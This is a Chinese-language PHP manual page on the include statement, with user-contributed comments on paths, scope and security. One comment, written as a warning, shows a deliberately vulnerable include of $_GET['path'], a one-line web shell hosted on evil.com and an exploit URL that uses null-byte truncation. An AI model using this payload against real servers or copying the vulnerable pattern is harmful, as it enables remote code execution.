PHP Conference Japan 2024

include

(PHP 4, PHP 5, PHP 7, PHP 8)

include 表达式包含并评估指定的文件。

以下文档也适用于 require

文件包含基于给定的文件路径,或者如果没有给出文件路径,则基于指定的 include_path。如果在 include_path 中找不到该文件,include 最终会在调用脚本自己的目录和当前工作目录中进行检查,然后再失败。如果 include 无法找到文件,则会发出 E_WARNING;这与 require 的行为不同,后者会发出 E_ERROR

请注意,如果文件无法访问,includerequire 都会发出额外的 E_WARNING,然后再分别发出最终的 E_WARNINGE_ERROR

如果定义了路径——无论是绝对路径(在 Windows 上以驱动器号或 \ 开头,或在 Unix/Linux 系统上以 / 开头),还是相对于当前目录的相对路径(以 ... 开头)——则完全忽略 include_path。例如,如果文件名以 ../ 开头,则解析器会在父目录中查找请求的文件。

有关 PHP 如何处理包含文件和 include 路径的更多信息,请参阅 include_path 的文档。

当包含文件时,它包含的代码会继承 include 发生的那一行的 变量作用域。调用文件中该行可用的任何变量都将在被调用文件中从该点起可用。但是,在包含文件中定义的所有函数和类都具有全局作用域。

示例 #1 基本 include 示例

vars.php
<?php

$color
= 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo
"A $color $fruit"; // A green apple

?>

如果 include 发生在调用文件中的某个函数内部,则被调用文件中的所有代码都将表现得好像是在该函数内部定义的一样。因此,它将遵循该函数的变量作用域。此规则的例外是 魔术常量,它们在 include 发生之前由解析器进行评估。

示例 #2 在函数中包含

<?php

function foo()
{
global
$color;

include
'vars.php';

echo
"A $color $fruit";
}

/* vars.php 位于 foo() 的作用域内,因此 *
* $fruit 在此作用域之外不可用。$color 是因为我们将其 *
* 声明为全局变量。 */

foo(); // A green apple
echo "A $color $fruit"; // A green

?>

当包含文件时,解析会从 PHP 模式退出并进入目标文件开头的 HTML 模式,并在结束时恢复。因此,目标文件中应作为 PHP 代码执行的任何代码都必须包含在 有效的 PHP 开始和结束标签 内。

如果在 PHP 中启用了“URL 包含封装器”,则可以使用 URL(通过 HTTP 或其他支持的封装器 - 请参阅 支持的协议和封装器 以获取协议列表)而不是本地路径名来指定要包含的文件。如果目标服务器将目标文件解释为 PHP 代码,则可以使用与 HTTP GET 一起使用的 URL 请求字符串将变量传递到包含的文件。从严格意义上讲,这与包含文件并使其继承父文件的变量作用域不同;脚本实际上是在远程服务器上运行的,结果随后被包含到本地脚本中。

示例 #3 通过 HTTP 进行 include

<?php

/* 此示例假设 www.example.com 配置为解析 .php
* 文件而不是 .txt 文件。此外,“有效”表示变量
* $foo 和 $bar 在包含的文件中可用。 */

// 无法正常工作;file.txt 未由 www.example.com 作为 PHP 处理
include 'http://www.example.com/file.txt?foo=1&bar=2';

// 无法正常工作;在本地文件系统上查找名为 'file.php?foo=1&bar=2' 的文件。
// 本地文件系统。
include 'file.php?foo=1&bar=2';

// 有效。
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

警告

安全警告

远程文件可能会在远程服务器上进行处理(取决于文件扩展名以及远程服务器是否运行 PHP),但它仍然必须生成有效的 PHP 脚本,因为它将在本地服务器上进行处理。如果远程服务器上的文件应在远程服务器上处理并仅输出,则 readfile() 是更好的函数。否则,应特别注意保护远程脚本以生成有效且所需的代码。

另请参阅 远程文件fopen()file() 以获取相关信息。

处理返回值:include 在失败时返回 FALSE 并引发警告。除非被包含文件覆盖,否则成功的包含将返回 1。可以在包含文件中执行 return 语句以终止该文件中的处理并返回到调用它的脚本。此外,还可以从包含文件中返回值。您可以像对待普通函数一样获取 include 调用的值。但是,在包含远程文件时,这不可能实现,除非远程文件的输出具有 有效的 PHP 开始和结束标签(与任何本地文件一样)。您可以在这些标签内声明所需的变量,它们将在包含文件的位置引入。

因为 include 是一个特殊的语言结构,所以其参数不需要用括号括起来。比较返回值时要注意。

示例 #4 比较 include 的返回值

<?php
// 无法正常工作,将评估为 include(('vars.php') == TRUE),即 include('1')
if (include('vars.php') == TRUE) {
echo
'OK';
}

// 有效
if ((include 'vars.php') == TRUE) {
echo
'OK';
}
?>

示例 #5 includereturn 语句

return.php
<?php

$var
= 'PHP';

return
$var;

?>

noreturn.php
<?php

$var
= 'PHP';

?>

testreturns.php
<?php

$foo
= include 'return.php';

echo
$foo; // 输出 'PHP'

$bar = include 'noreturn.php';

echo
$bar; // 输出 1

?>

$bar 的值为 1,因为包含操作成功。请注意以上示例之间的区别。第一个示例在包含的文件中使用了 return,而另一个则没有。如果文件无法包含,则会返回 **false** 并发出 **E_WARNING** 警告。

如果包含的文件中定义了函数,则可以在主文件中使用它们,无论这些函数是在 return 之前还是之后。如果包含同一个文件两次,PHP 会抛出一个致命错误,因为函数已经被声明过了。建议使用 include_once,而不是检查文件是否已经被包含并在包含的文件内部有条件地返回。

另一种将 PHP 文件“包含”到变量中的方法是使用 输出控制函数include 来捕获输出。例如

示例 #6 使用输出缓冲将 PHP 文件包含到字符串中

<?php
$string
= get_include_contents('somefile.php');

function
get_include_contents($filename) {
if (
is_file($filename)) {
ob_start();
include
$filename;
return
ob_get_clean();
}
return
false;
}

?>

为了自动包含脚本中的文件,还可以参考 php.ini 中的 auto_prepend_fileauto_append_file 配置选项。

注意由于这是一个语言结构,而不是一个函数,因此无法使用 变量函数命名参数 来调用它。

另请参阅 requirerequire_onceinclude_onceget_included_files()readfile()virtual()include_path

添加注释

用户贡献的注释 13 条注释

snowyurik at gmail dot com
16 年前
这可能有用
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
这样您就可以在 Web 项目树中的任何位置移动脚本,而无需更改。
Rash
9 年前
如果您想包含文件,但又不想让客户端直接访问它们,请出于对键盘的爱,请不要这样做

<?php

# index.php
define('what', 'ever');
include
'includeFile.php';

# includeFile.php

// 检查 'what' 是否已定义,如果未定义则退出

?>

您不应该这样做的原因是,存在更好的选择。将 includeFile(s) 移出项目的文档根目录。因此,如果项目的文档根目录位于“/usr/share/nginx/html”,请将 include 文件保存在“/usr/share/nginx/src”中。

<?php

# index.php (在文档根目录 (/usr/share/nginx/html) 中)

include __DIR__ . '/../src/includeFile.php';

?>

由于用户无法键入“your.site/../src/includeFile.php”,因此用户将无法直接访问您的 includeFile(s)。
John Carty
8 年前
在使用 PHP 的 include、require、include_once 或 require_once 语句之前,您应该更多地了解本地文件包含(也称为 LFI)和远程文件包含(也称为 RFI)。

如示例 #3 所示,可以从远程服务器包含 PHP 文件。

当您在 include 语句中使用输入变量而没有进行适当的输入验证时,就会出现 LFI 和 RFI 漏洞。假设您有一个 example.php 文件,其中包含以下代码

<?php
// 错误代码
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

作为程序员,您可能希望用户浏览到您指定的路径。

但是,这会打开一个 RFI 漏洞。要作为攻击者利用它,我首先会在我的 evil.com 域名上设置一个包含 PHP 代码的恶意文本文件。

evil.txt
<?php echo shell_exec($_GET['command']);?>

这是一个文本文件,因此它不会在我的服务器上处理,而是在目标/受害者的服务器上处理。我会浏览到
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

example.php 会下载我的 evil.txt 并处理我作为命令变量传递的操作系统命令。在本例中,它是 whoami。我在 path 变量的末尾添加了一个 %00,它是空字符。example.php 中的原始 include 语句将忽略该行的其余部分。它应该告诉我 Web 服务器正在以哪个用户身份运行。

如果您在 include 语句中使用变量,请使用适当的输入验证。
Anon
12 年前
我再怎么强调了解活动工作目录的重要性都不为过。通过以下方式找到它:echo getcwd();
请记住,如果文件 A 包含文件 B,而 B 包含文件 C;B 中的 include 路径应该考虑到 A 而不是 B 是活动工作目录。
error17191 at gmail dot com
9 年前
当直接使用文件名包含文件而没有指定路径时,我们指的是当前工作目录,即说 (include "file") 而不是 ( include "./file")。PHP 会首先在当前工作目录(由 getcwd() 给出)中搜索,然后在正在执行的脚本的目录(由 __dir__ 给出)中搜索。
这是一个演示这种情况的示例
我们有两个目录结构
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test 包含以下文本
这是 dir1 中的测试
dir2/test 包含以下文本
这是 dir2 中的测试
dir1_test 包含以下文本
这是 dir1_test
dir2_test 包含以下文本
这是 dir2_test

script.php 包含以下代码
<?php

echo '正在调用脚本的目录:' . __DIR__;
echo
'<br />';
echo
'当前工作目录:' . getcwd();
echo
'<br />';
echo
'包含 "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'将当前工作目录更改为 dir2';
chdir('../dir2');
echo
'<br />';
echo
'正在调用脚本的目录:' . __DIR__;
echo
'<br />';
echo
'当前工作目录:' . getcwd();
echo
'<br />';
echo
'包含 "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'包含 "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'包含 "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'包含 "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('无法包含此文件 ');
?>
执行 script.php 的输出为

正在调用脚本的目录:C:\dev\www\php_experiments\working_directory\example2\dir1
当前工作目录:C:\dev\www\php_experiments\working_directory\example2\dir1
包含 "test" ...


这是 dir1 中的测试
将当前工作目录更改为 dir2
正在调用脚本的目录:C:\dev\www\php_experiments\working_directory\example2\dir1
当前工作目录:C:\dev\www\php_experiments\working_directory\example2\dir2
包含 "test" ...


这是 dir2 中的测试
包含 "dir2_test" ...
这是 dir2_test
包含 "dir1_test" ...
这是 dir1_test
包含 "./dir1_test" ...
无法包含此文件
jbezorg at gmail dot com
6 年前
理想情况下,include 语句应该放在 web 根目录之外。但这并不总是可行的,尤其是在分发打包应用程序时,因为您不知道应用程序将在哪个服务器环境中运行。在这些情况下,我会使用以下代码作为第一行。

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
Wade.
16 年前
如果您正在执行大量动态/计算 include(例如,>100 个),那么您可能需要了解以下性能比较:如果目标文件不存在,则 @include() 的速度比在它前面加上 file_exists() 检查要慢 *十*倍。 (如果文件仅偶尔存在,这将非常重要 - 例如,开发环境中存在该文件,但生产环境中不存在。)

Wade。
anonphpuser
2 年前
在示例 #2 函数内的包含中,我认为最后两个注释应该颠倒。
hyponiq at gmail dot com
15 年前
我想指出 IIS/Windows 和 Apache/Unix(不确定其他任何服务器,但我认为 Windows 下的任何服务器的行为都将与 IIS/Windows 相同,而 Unix 下的任何服务器的行为都将与 Apache/Unix 相同)在包含文件路径方面存在不同的行为。

考虑以下情况
<?php
include '/Path/To/File.php';
?>

在 IIS/Windows 中,由于路径以正斜杠开头,因此会在虚拟主机根目录(我们假设为 C:\Server\Sites\MySite)中查找该文件。此行为在所有平台上的 HTML 中都有效,因为浏览器将 / 解释为服务器的根目录。

但是,Unix 文件/文件夹结构略有不同。/ 代表硬盘驱动器或当前硬盘驱动器分区的根目录。换句话说,它基本上是在查找 root:/Path/To/File.php 而不是 serverRoot:/Path/To/File.php(我们假设为 /usr/var/www/htdocs)。因此,由于根路径中不存在该路径,因此会抛出错误/警告。

我只是想提一下。这绝对可以为那些在 Windows 下工作并将应用程序传输到基于 Unix 的服务器的用户节省一些麻烦。

解决方法类似于
<?php
$documentRoot
= null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];

if (
strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (
strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (
strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}

if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* 我通常将此文件存储在虚拟主机根目录下的 Includes 文件夹中。这可以更改为您存储此文件的任何位置。
*
* 例如:
* 如果您将此文件存储在站点基础上的 Application/Settings/DocRoot 文件夹中,则需要将此数组更改为包含所有这些文件夹。
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);

if (
defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}

$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

foreach (
$directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}

$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

使用此文件,您可以使用定义的 SERVER_DOC_ROOT 常量包含文件,并且以这种方式包含的每个文件都将从正确的位置包含,并且不会抛出任何错误/警告。

示例
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
Ray.Paseur often uses Gmail
10 年前
值得注意的是,PHP 提供了一个名为 DIRECTORY_SEPARATOR 的操作系统上下文感知常量。如果您在目录路径中使用它而不是斜杠,那么无论您使用 *NIX 还是(令人不寒而栗的)Windows,您的脚本都将是正确的。(以一种半相关的方式,有一个智能的行尾字符,PHP_EOL)

示例
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);
Chris Bell
15 年前
关于懒惰的 HTTP 包含的一个警告 - 它们可能会破坏您的服务器。

如果您要从自己的站点包含文件,请不要使用 URL,无论这有多么容易或诱人。如果所有 PHP 进程都与发出请求的页面绑定,则没有可用于提供包含的进程。原始请求将一直停留在那里,占用所有资源,最终超时。

尽可能使用文件引用。在我们追踪到问题之前,这给我们带来了相当大的麻烦(Zend/IIS)。
ayon at hyurl dot com
7 年前
它还可以包含或打开 zip 文件中的文件
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
请注意,与使用 / 或 \ 不同,从 zip 文件中打开文件使用 # 分隔 zip 名称和内部文件的名称。
Rick Garcia
16 年前
根据经验法则,切勿使用相对路径包含文件。要有效地做到这一点,您可以定义常量,如下所示

----
<?php // prepend.php - 在树的顶部自动预先包含
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

等等。这样,框架中的文件只需发出以下语句

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

这也使您无需在每次执行 include 时都检查 include 路径。

如果您正在从主 Web 目录下方运行脚本,请在每个子目录中放置一个 prepend.php 文件

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

这样,顶部的 prepend.php 始终会被执行,并且您不会遇到任何路径处理问题。请记住,为每个包含 Web 可访问脚本的子目录的 .htaccess 文件设置 auto_prepend_file 指令。
To Top